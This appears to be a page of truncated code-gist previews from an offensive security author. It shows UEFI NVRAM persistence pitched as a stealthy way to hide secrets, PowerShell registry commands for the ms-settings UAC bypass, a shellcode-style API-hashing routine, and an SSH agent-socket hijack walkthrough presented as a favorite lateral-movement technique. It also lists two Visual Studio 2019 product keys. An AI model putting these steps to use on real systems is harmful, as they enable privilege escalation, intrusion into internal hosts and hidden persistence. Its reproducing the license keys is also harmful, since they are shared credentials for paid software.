Persist data in UEFI NVRAM variables.
- Stealthy way to store secrets and other data in UEFI.
- Will survive a reimaging of the operating system.
#include "stdafx.h" | |
#define DB(_val_) __asm __emit (_val_) | |
#define INVALID_SYSCALL (DWORD)(-1) | |
// code selectors | |
#define CS_32 0x23 | |
#define CS_64 0x33 |
Visual Studio 2019 Enterprise | |
BF8Y8-GN2QH-T84XB-QVY3B-RC4DF | |
Visual Studio 2019 Professional | |
NYWVH-HT4XC-R2WYW-9Y3CM-X4V3Y |
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force | |
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force |
def ror i, bits = 13 | |
((i >> bits) | (i << (32 - bits))) & 0xFFFFFFFF | |
end | |
def hash mod, func | |
mod_hash = "#{mod.upcase.b}\x00" | |
.encode('utf-16le') | |
.unpack('C*') | |
.inject(0){|h, i| ror(h) + i} | |
func_hash = "#{func.b}\x00" | |
.unpack('C*') |
Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]
user@internal:~$ hostname -f
internal.company.tld
{ | |
"Resources": { | |
"EC2": { | |
"Type": "AWS::EC2::Instance", | |
"Metadata": { | |
"AWS::CloudFormation::Init" : { | |
"configSets" : { | |
"full_install" : [ | |
"setup_epel", | |
"install_utils" |
#!/usr/bin/env python | |
"""Extend Python's built in HTTP server to save files | |
curl or wget can be used to send files with options similar to the following | |
curl -X PUT --upload-file somefile.txt http://localhost:8000 | |
wget -O- --method=PUT --body-file=somefile.txt http://localhost:8000/somefile.txt | |
__Note__: curl automatically appends the filename onto the end of the URL so |
#!/usr/bin/env python | |
"""Simple HTTP Server With Upload. | |
This module builds on BaseHTTPServer by implementing the standard GET | |
and HEAD requests in a fairly straightforward manner. | |
""" |
import sys | |
import re | |
import pefile | |
import string | |
import struct | |
from capstool import CapsTool | |
from capstone import * | |
from capstone.x86 import * | |
BCC = ["je", "jne", "js", "jns", "jp", "jnp", "jo", "jno", "jl", "jle", "jg", |